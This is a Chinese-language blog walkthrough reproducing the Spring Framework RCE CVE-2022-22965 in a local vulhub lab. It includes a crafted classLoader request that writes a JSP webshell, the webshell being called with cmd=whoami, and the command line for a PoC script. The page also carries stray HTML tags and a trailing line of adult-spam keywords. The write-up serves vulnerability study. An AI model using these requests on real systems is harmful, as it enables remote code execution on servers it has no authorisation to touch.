<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Spring Framework遠程代碼執行漏洞_CVE-2022-22965復現

    VSole2022-04-06 18:07:57

    烏鴉安全的技術文章僅供參考,此文所提供的信息只為網絡安全人員對自己所負責的網站、服務器等(包括但不限于)進行檢測或維護參考,未經授權請勿利用文章中的技術資料對任何計算機系統進行入侵操作。利用此文所提供的信息而造成的直接或間接后果和損失,均由使用者本人負責。

    烏鴉安全擁有對此文章的修改、刪除和解釋權限,如轉載或傳播此文章,需保證文章的完整性,未經允許,禁止轉載!

    本文所提供的工具僅用于學習,禁止用于其他,請在24小時內刪除工具文件!!!

    本文首發烏鴉安全知識星球,更新時間:2022.04.01

    1. 漏洞介紹

    Spring Framework是一個開源應用框架,初衷是為了降低應用程序開發的復雜度,具有分層體系結構,允許用戶選擇組件,同時還為 J2EE 應用程序開發提供了一個好用的框架。當Spring部署在JDK9及以上版本,遠程攻擊者可利用該漏洞寫入惡意代碼導致遠程代碼執行。

    2. 漏洞復現

    目前可以借助vulhub一鍵復現該漏洞:

    https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22965
    

    在當前目錄下使用命令:docker-compose up -d即可一鍵開啟環境:

    看到當前的端口開在了8080

    打開頁面之后,可以看到當前服務已經起來了:

    http://127.0.0.1:8080/

    按照作者的鏈接:

    http://127.0.0.1:8080/?name=Bob&age=25

    出現頁面:

    然后根據提示,構造請求地址:(方法不唯一)

    http://127.0.0.1:8080/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25
    

    該請求發出之后,需要進行變換:

    紅色部分替換為:

    suffix: %>//
    c1: Runtime
    c2: <%
    DNT: 1
    Content-Length: 2
    

    效果查看下圖:

    然后訪問:


    http://10.30.2.146:8080//tomcatwar.jsp?pwd=j&cmd=whoami
    

    執行命令即可!

    注意,在這里的多次執行會不斷的往日志寫文件,請勿頻繁操作!

    3. 工具版

    工具:因為考慮到現在的大環境,這里提供的工具僅僅能夠在當前環境下使用,不能在其他的環境中使用!

    請在后臺回復關鍵字:spring 下載

    直接執行腳本即可:

    python3 vulhub_CVE-2022-22965_poc.py --url=http://127.0.0.1:8080
    

    執行效果:

    同樣,不要多次執行!

    4. 注意事項

    不要頻繁的往里面寫,不然日志文件會炸,消除方法就是使用get請求(vulhub專屬),停止寫日志:

    http://127.0.0.1:8080/?class.module.classLoader.resources.context.parent.pipeline.first.pattern= 
    

    漏洞spring框架
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    雖說是 Spring 框架漏洞,但以下包含并不僅 Spring Framework,Spring Boot,還有 Spring Cloud,Spring Data,Spring Security 等。
    Spring框架是一個開放源代碼的J2EE應用程序框架,是針對bean的生命周期進行管理的輕量級容器。Spring可以單獨應用于構筑應用程序,也可以和Struts、Webwork、Tapestry等眾多Web框架組合使用,并且可以與 Swing等桌面應用程序AP組合。 Spring框架主要由七部分組成,分別是 Spring Core、 Spring AOP、 Spring ORM、 Spring
    Spring核心框架存在RCE漏洞.在野曝光一段時間后,官方終于發布漏洞信息CVE-2022-22965,并并修復了漏洞。結合Tomcat屬性可實現RCE。從理論上分析,Weblogic等其他Java中間件或應用程序也可能構建出完整利用鏈。
    雖說是 Spring 框架漏洞,但以下包含并不僅 Spring Framework,Spring Boot,還有 Spring Cloud,Spring Data,Spring Security 等。 CVE-2010-1622 Spring Framework class.classLoader 類遠程代碼執行 影響版本:SpringSource Spring Framework 3.0.0
    2021年11月30日,360漏洞云團隊監測到VMware發布安全公告,修復了一個 Spring AMQP中的拒絕服務漏洞漏洞編號:CVE-2021-22095,漏洞威脅等級:中危。
    Spring framework 是Spring 里面的一個基礎開源框架,其目的是用于簡化 Java 企業級應用的開發難度和開發周期,2022年3月31日,VMware Tanzu發布漏洞報告,Spring Framework存在遠程代碼執行漏洞,在 JDK 9+ 上運行的 Spring MVC 或 Spring WebFlux 應用程序可能容易受到通過數據綁定的遠程代碼執行 (RCE) 的攻擊
    建議相關用戶及時開展安全自查
    360漏洞云近日監測到Spring框架中存在一個嚴重的遠程代碼執行漏洞,該漏洞影響Jdk 9.0以上版本的Spring框架及其衍生框架,包括但不限于Spring Cloud、Spring Boot等。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类